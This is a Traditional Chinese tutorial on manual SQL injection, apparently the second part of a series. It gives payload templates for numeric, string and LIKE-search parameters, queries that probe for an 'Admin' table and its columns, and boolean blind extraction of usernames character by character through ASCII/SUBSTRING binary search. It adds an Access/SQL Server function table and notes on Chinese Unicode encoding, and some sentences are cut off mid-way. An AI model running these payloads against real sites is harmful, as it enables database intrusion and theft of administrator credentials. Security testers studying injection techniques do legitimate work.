承接入門篇,本文系統闡述 SQL 注入攻擊的標準化作業流程 (SOP)、三類參數型態對應的 SQL 重構技巧、Access/SQL Server 關鍵函數對照表,以及中文 Unicode/雙位元編碼處理方法,為後續高階技術 (盲注、報錯注入、自動化工具) 鋪路。
@@version、version()、系統表存在性 (msysobjects vs sysobjects) 區分 Access/SQL Server/Oracle/MySQL。| URL 範例 | 參數型態 | 原始 SQL 推測 | 注入 Payload 結構 | 生成 SQL 片段 |
|---|---|---|---|---|
id=49 | 數值型 | SELECT * FROM table WHERE col = 49 | 49 AND [條件] | WHERE col = 49 AND [條件] |
class=連續劇 | 字串型 | SELECT * FROM table WHERE col = '連續劇' | 連續劇' AND [條件] AND ''=' | WHERE col = '連續劇' AND [條件] AND ''='' |
keyword=關鍵字 | 搜尋型 (LIKE) | SELECT * FROM table WHERE col LIKE '%關鍵字%' | ' AND [條件] AND '%'=' | WHERE col LIKE '%' AND [條件] AND '%'='%' |
核心邏輯: 透過註釋符號 (--, /* */, #) 截斷後續原始查詢,配合永真/永偽條件控制頁面回應差異 (布林盲注) 或聯合查詢回顯資料 (Union 注入)。
-- 判斷表 Admin 是否存在 (數值型注入點範例)
id=49 AND (SELECT COUNT(*) FROM Admin) >= 0
-- 頁面與 id=49 相同 → 表存在;報錯/異常 → 不存在
-- 猜解欄位名
id=49 AND (SELECT COUNT(column_name) FROM Admin) >= 0
-- 依字典/常見命名 (username, password, email, id, role...) 逐一嘗試
進階技巧: SQL Server 可直接查詢系統目錄 (sysobjects, syscolumns, INFORMATION_SCHEMA.TABLES) 批量取得結構,無需盲猜 (詳見高階篇)。
-- 1. 取得長度
id=49 AND (SELECT TOP 1 LEN(username) FROM Admin) > 7 -- 真/假二分法縮小範圍
-- 2. 逐字元提取 ASCII
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(username, 1, 1)) FROM Admin) > 97
-- 英數字 ASCII 32-126,折半法約 7 次請求定位單字元
-- 自動化腳本可將效率提升 100 倍以上
| 功能 | Access | SQL Server | 備註 |
|---|---|---|---|
| 字元 → ASCII/Unicode | Asc(char) | Unicode(nchar) | SQL Server 必須用 Unicode 函數,Ascii() 僅回傳第一位元組 |
| ASCII/Unicode → 字元 | Chr(num) | NChar(num) | |
| 子字串擷取 | Mid(str, start, len) | Substring(str, start, len) | 起始位置皆為 1-based |
| 絕對值 | Abs(num) | Abs(num) | 處理 Access 中文負數 ASCII 時需用 |
| 範圍判斷 | val BETWEEN lo AND hi | val BETWEEN lo AND hi | 語法相同 |
Asc() 可能回傳負數 (內部用雙位元帶符號整數儲存)。Abs(Asc(中文字)) 取絕對值,字元本身不變,可正常比對/重建。nvarchar/nchar 為 UTF-16 儲存,每字 2 位元組。ASCII():僅回傳第一位元組 (高位元組),導致中文全變成同一數值。UNICODE() 取得完整碼位 (如 '中' → 20013)。NCHAR(碼位)。sqlmap, Havij, 自製 Python/PowerShell 腳本) 替代手工。CONVERT, CAST 強制轉型報錯回顯資料),較盲注快數量級。下篇預告: 高階篇將涵蓋 SQL Server 系統目錄查詢、報錯注入構造、時間盲注優化、二次注入、WAF 繞過技巧、自動化框架整合與實戰案例完整複盤。